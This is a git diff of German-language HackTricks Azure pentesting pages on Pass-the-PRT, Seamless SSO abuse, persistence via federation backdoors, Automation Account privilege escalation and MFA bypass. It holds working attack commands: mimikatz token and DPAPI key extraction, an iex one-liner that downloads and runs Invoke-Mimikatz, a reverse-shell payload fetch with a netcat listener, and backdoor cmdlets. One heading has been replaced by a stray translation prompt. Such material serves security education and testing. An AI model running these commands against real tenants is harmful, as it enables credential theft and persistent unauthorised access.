[Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) implementiert ist. +- **Ein kompromittiertes TGT eines Benutzers:** Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem Fake-TGT-Delegationstrick erhalten, der in vielen Tools wie [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) und [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) implementiert ist. - **Golden Ticket**: Wenn Sie den KRBTGT-Schlüssel haben, können Sie das benötigte TGT für den angegriffenen Benutzer erstellen. -- **NTLM-Hash oder AES-Schlüssel eines kompromittierten Benutzers:** SeamlessPass kommuniziert mit dem Domänencontroller mit diesen Informationen, um das TGT zu generieren. +- **Ein kompromittierter NTLM-Hash oder AES-Schlüssel eines Benutzers:** SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT zu generieren. - **AZUREADSSOACC$-Konto NTLM-Hash oder AES-Schlüssel:** Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers, den Sie angreifen möchten, ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt). Schließlich ist es mit dem TGT möglich, das Tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) zu verwenden mit: @@ -87,7 +87,7 @@ Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seam #### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ -Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** **auch für Cloud-nur-Benutzer erstellt werden**. Die einzige Voraussetzung ist, dass die SID eine gültige [SID]() ist. +Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** auch für Cloud-nur-Benutzer **erstellt werden**. Die einzige Voraussetzung ist, dass die SID eine gültige [SID]() ist. > [!CAUTION] > Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt **von Microsoft blockiert**.\ @@ -104,6 +104,6 @@ python rbdel.py -u \\ -p azureadssosvc$ - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: Ich bin in deiner Cloud und lese die E-Mails aller - Hacking Azure AD über Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Ich bin in deiner Cloud und lese die E-Mails aller - Hacking von Azure AD über Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 3e652ad43..4b6fdde11 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -8,7 +8,7 @@ az-primary-refresh-token-prt.md {{#endref}} -### Überprüfen, ob Sie ein PRT haben +### Überprüfen Sie, ob Sie ein PRT haben ``` Dsregcmd.exe /status ``` @@ -22,7 +22,7 @@ Im gleichen Output können Sie auch sehen, ob das **Gerät mit Azure verbunden i ## PRT-Cookie -Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, getrennt durch einen `.` und alle url-sicher base64 kodiert. Ein typisches PRT-Cookie enthält den folgenden Header und Body: +Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, die durch einen `.` getrennt und alle url-sicher base64 kodiert sind. Ein typisches PRT-Cookie enthält den folgenden Header und Body: ```json { "alg": "HS256", @@ -34,15 +34,15 @@ Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und e "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -Der aktuelle **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel, der unter der Kontrolle von Azure AD steht, verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen. +Der aktuelle **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel, der unter der Kontrolle von Azure AD steht, verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt war, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen. -### PRT-Cookie-Flow unter Verwendung von TPM +### PRT Cookie-Fluss unter Verwendung von TPM Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Sitzungsschlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**. -Der **KDF-Kontext ist** ein Nonce von AzureAD und das PRT, das einen **JWT** gemischt mit einem **Kontext** (Zufallsbytes) erstellt. +Der **KDF-Kontext ist** ein Nonce von AzureAD und dem PRT, das einen **JWT** gemischt mit einem **Kontext** (Zufallsbytes) erstellt. -Daher, selbst wenn das PRT nicht extrahiert werden kann, weil es sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**. +Daher, selbst wenn der PRT nicht extrahiert werden kann, weil er sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.
@@ -57,11 +57,11 @@ Als **SYSTEM** könnten Sie den PRT **stehlen, wenn er nicht durch TPM geschütz ### Angriff - ROADtoken -Für weitere Informationen zu diesem Weg [**prüfen Sie diesen Beitrag**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken wird **`BrowserCore.exe`** aus dem richtigen Verzeichnis ausführen und es verwenden, um ein **PRT-Cookie zu erhalten**. Dieses Cookie kann dann mit ROADtools verwendet werden, um sich zu authentifizieren und **einen persistenten Refresh-Token zu erhalten**. +Für weitere Informationen zu dieser Methode [**prüfen Sie diesen Beitrag**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken wird **`BrowserCore.exe`** aus dem richtigen Verzeichnis ausführen und es verwenden, um ein **PRT-Cookie zu erhalten**. Dieses Cookie kann dann mit ROADtools verwendet werden, um sich zu authentifizieren und **einen persistenten Refresh-Token zu erhalten**. Um ein gültiges PRT-Cookie zu generieren, benötigen Sie zunächst ein Nonce.\ Sie können dies mit: -```powershell +```bash $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -77,19 +77,19 @@ $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` Oder mit [**roadrecon**](https://github.com/dirkjanm/ROADtools): -```powershell +```bash roadrecon auth prt-init ``` Dann können Sie [**roadtoken**](https://github.com/dirkjanm/ROADtoken) verwenden, um ein neues PRT zu erhalten (führen Sie das Tool aus einem Prozess des Benutzers aus, um anzugreifen): -```powershell +```bash .\ROADtoken.exe ``` -Als Einzeiler: -```powershell +Bitte geben Sie den Text an, den Sie übersetzen möchten. +```bash Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` Dann können Sie das **generierte Cookie** verwenden, um **Tokens** zu **generieren**, um sich mit Azure AD **Graph** oder Microsoft Graph **anzumelden**: -```powershell +```bash # Generate roadrecon auth --prt-cookie @@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Angriff - Verwendung von AADInternals und einem geleakten PRT `Get-AADIntUserPRTToken` **holt das PRT-Token des Benutzers** von dem Azure AD-verbundenen oder Hybrid-verbundenen Computer. Verwendet `BrowserCore.exe`, um das PRT-Token zu erhalten. -```powershell +```bash # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` Oder wenn Sie die Werte von Mimikatz haben, können Sie auch AADInternals verwenden, um ein Token zu generieren: -```powershell +```bash # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -152,21 +152,21 @@ Dann gehen Sie zu [https://portal.azure.com](https://portal.azure.com) #### Schritte -1. Der **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert. +1. Das **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert. 2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) und für ein Verständnis seiner Anwendung, siehe [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für den PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token) zu signieren, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich. +3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für das PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token) zu signieren, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich. > [!CAUTION] -> Beachten Sie, dass, wenn der PRT im TPM und nicht in `lsass` ist, **mimikatz ihn nicht extrahieren kann**.\ -> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um ein **Cookie zu signieren (siehe Option 3).** +> Beachten Sie, dass, wenn sich das PRT im TPM und nicht in `lsass` befindet, **mimikatz es nicht extrahieren kann**.\ +> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um **ein Cookie zu signieren (siehe Option 3).** Sie finden eine **detaillierte Erklärung des durchgeführten Prozesses**, um diese Details hier zu extrahieren: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> Dies wird nach den Korrekturen im August 2021 nicht genau funktionieren, um die PRT-Token anderer Benutzer zu erhalten, da nur der Benutzer seinen PRT abrufen kann (ein lokaler Administrator kann nicht auf die PRTs anderer Benutzer zugreifen), aber auf seinen zugreifen kann. +> Dies wird nach den Korrekturen im August 2021 nicht genau funktionieren, um die PRT-Token anderer Benutzer zu erhalten, da nur der Benutzer sein PRT abrufen kann (ein lokaler Administrator kann nicht auf die PRTs anderer Benutzer zugreifen), aber auf sein eigenes zugreifen kann. -Sie können **mimikatz** verwenden, um den PRT zu extrahieren: -```powershell +Sie können **mimikatz** verwenden, um das PRT zu extrahieren: +```bash mimikatz.exe Privilege::debug Sekurlsa::cloudap @@ -175,19 +175,19 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` -(Images von https://blog.netwrix.com/2023/05/13/pass-the-prt-overview) +(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
**Kopiere** den Teil, der mit **Prt** gekennzeichnet ist, und speichere ihn.\ -Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`** Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln. +Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`**-Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln.
> [!NOTE] > Wenn du keine PRT-Daten siehst, könnte es sein, dass du **keine PRTs hast**, weil dein Gerät nicht mit Azure AD verbunden ist, oder es könnte sein, dass du **eine alte Version** von Windows 10 verwendest. -Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, um den **DPAPI-Masterkey zur Entschlüsselung zu verwenden**. Du kannst die folgenden Befehle verwenden, um dies zu tun: +Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, damit du den **DPAPI-Masterkey zur Entschlüsselung verwenden kannst**. Du kannst die folgenden Befehle verwenden, um dies zu tun: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index c64f874b2..7d43d3b2b 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -Um die Tests zu starten, sollten Sie Zugriff mit einem Benutzer mit **Reader-Berechtigungen über das Abonnement** und **Global Reader-Rolle in AzureAD** haben. Wenn Sie selbst in diesem Fall **nicht auf den Inhalt der Speicherkonten zugreifen können**, können Sie dies mit der **Rolle Storage Account Contributor** beheben. +Um eine Überprüfung der White-Box-Härtung einiger Entra ID-Mandanten zu starten, müssen Sie um die **Global Reader-Rolle für jeden Mandanten** bitten. Darüber hinaus benötigen Sie für eine Härtungsüberprüfung verschiedener Azure-Abonnements mindestens die **Reader-Berechtigungen für alle Abonnements**. + +Beachten Sie, dass, wenn diese Rollen nicht ausreichen, um auf alle benötigten Informationen zuzugreifen, Sie auch den Kunden um Rollen mit den benötigten Berechtigungen bitten können. Versuchen Sie einfach, die Menge der nicht schreibgeschützten Berechtigungen, die Sie anfordern, **zu minimieren!** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index abe2b26c1..9a2949ec1 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -10,38 +10,38 @@ Darüber hinaus könnten Sie auch diese Anwendung mit Ihrem Benutzer akzeptieren ### Anwendungen und Dienstprinzipale -Mit den Rechten eines Anwendungsadministrators, GA oder einer benutzerdefinierten Rolle mit microsoft.directory/applications/credentials/update Berechtigungen können wir Anmeldeinformationen (Geheimnis oder Zertifikat) zu einer bestehenden Anwendung hinzufügen. +Mit den Rechten eines Anwendungsadministrators, GA oder einer benutzerdefinierten Rolle mit microsoft.directory/applications/credentials/update-Berechtigungen können wir Anmeldeinformationen (Geheimnis oder Zertifikat) zu einer bestehenden Anwendung hinzufügen. Es ist möglich, **eine Anwendung mit hohen Berechtigungen zu zielen** oder **eine neue Anwendung** mit hohen Berechtigungen hinzuzufügen. Eine interessante Rolle, die der Anwendung hinzugefügt werden könnte, wäre die **Rolle des privilegierten Authentifizierungsadministrators**, da sie es ermöglicht, das **Passwort** von globalen Administratoren zurückzusetzen. Diese Technik ermöglicht auch, **MFA zu umgehen**. -```powershell +```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - Für die zertifikatsbasierte Authentifizierung -```powershell +```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federation - Token Signing Certificate -Mit **DA-Rechten** auf dem lokalen AD ist es möglich, **neue Token-Signierungs**- und **Token-Entschlüsselungszertifikate** zu erstellen und zu importieren, die eine sehr lange Gültigkeit haben. Dies ermöglicht es uns, **uns als jeden Benutzer** anzumelden, dessen ImuutableID wir kennen. +Mit **DA-Rechten** auf dem lokalen AD ist es möglich, **neue Token-Signierungs**- und **Token-Entschlüsselungszertifikate** zu erstellen und zu importieren, die eine sehr lange Gültigkeit haben. Dies ermöglicht es uns, **uns als jeden Benutzer** anzumelden, dessen ImmutableID wir kennen. -**Führen** Sie den folgenden Befehl als **DA auf dem ADFS-Server(n)** aus, um neue Zertifikate zu erstellen (Standardpasswort 'AADInternals'), fügen Sie sie zu ADFS hinzu, deaktivieren Sie die automatische Rollierung und starten Sie den Dienst neu: -```powershell +**Führen** Sie den folgenden Befehl als **DA auf dem ADFS-Server(e)** aus, um neue Zertifikate zu erstellen (Standardpasswort 'AADInternals'), fügen Sie sie zu ADFS hinzu, deaktivieren Sie die automatische Rollierung und starten Sie den Dienst neu: +```bash New-AADIntADFSSelfSignedCertificates ``` -Aktualisieren Sie dann die Zertifikatsinformationen mit Azure AD: -```powershell +Dann aktualisieren Sie die Zertifikatsinformationen mit Azure AD: +```bash Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` ### Federation - Vertrauenswürdige Domäne Mit GA-Rechten auf einem Mandanten ist es möglich, eine **neue Domäne hinzuzufügen** (muss verifiziert werden), ihren Authentifizierungstyp auf Federated zu konfigurieren und die Domäne so zu konfigurieren, dass sie **ein bestimmtes Zertifikat** (any.sts im folgenden Befehl) und den Aussteller vertraut: -```powershell +```bash # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 476e78b90..6a35ddd6a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Hybrid Workers Group -Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem Hybrid-Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein. +Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem Hybrid-Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC eines anderen Clouds oder sogar eine Azure-VM sein. Darüber hinaus, wenn der Hybrid-Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen. @@ -38,7 +38,7 @@ $creds.GetNetworkCredential().password' ``` Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist. -Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden. +Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden: ```bash az automation runbook publish \ --resource-group \ @@ -104,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen mit: +Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen, indem man: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, **den Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen. +Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den **Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellsteuerung** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel): +Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellkontrolle** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel): ```bash az automation source-control create \ --resource-group \ @@ -194,16 +194,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation Account importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**. +Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation-Konto importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**. -Außerdem denken Sie daran, dass für die Quellkontrolle in Automation Accounts eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden. +Außerdem denken Sie daran, dass für die Quellkontrolle in Automation-Konten eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden. > [!TIP] > Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde. ### `Microsoft.Automation/automationAccounts/variables/write` -Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation Account mit dem folgenden Befehl zu schreiben. +Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation-Konto mit dem folgenden Befehl zu schreiben. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -228,26 +228,26 @@ Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwende - Schritt 1 — Dateien erstellen **Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich: -1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich bei [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar bei [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren. +**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server-/Nutzlast-Identifikatoren. - Schritt 2 — Konfigurationsdatei zippen Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage-Konto vorzubereiten. -```powershell +```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` - Schritt 3 — Speicher-Kontext festlegen & hochladen Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Set-AzStorageBlobContent-Cmdlet von Azure hochgeladen. -```powershell +```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` - Schritt 4 — Kali Box vorbereiten -Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter. +Der Kali-Server lädt das RevPS.ps1-Payload aus einem GitHub-Repository herunter. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` @@ -264,6 +264,6 @@ Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen m sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen. +Die geplante Aufgabe führt die Payload aus und erreicht SYSTEM-Ebene Berechtigungen. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index bd3b64203..23c833047 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -21,10 +21,10 @@ Bei der Konfiguration einer Conditional Access-Richtlinie ist es erforderlich, d Es ist auch notwendig, die **Bedingungen** zu konfigurieren, die die Richtlinie **auslösen**: - **Netzwerk**: IP, IP-Bereiche und geografische Standorte -- Kann umgangen werden, indem ein VPN oder Proxy verwendet wird, um sich mit einem Land zu verbinden oder sich von einer erlaubten IP-Adresse anzumelden +- Kann umgangen werden, indem man sich über ein VPN oder Proxy mit einem Land verbindet oder es schafft, sich von einer erlaubten IP-Adresse anzumelden - **Microsoft-Risiken**: Benutzer-Risiko, Anmelderisiko, Insider-Risiko - **Geräteplattformen**: Jedes Gerät oder Auswahl von Android, iOS, Windows Phone, Windows, macOS, Linux -- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent zu umgehen, der nicht mit diesen Plattformen in Verbindung steht +- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen 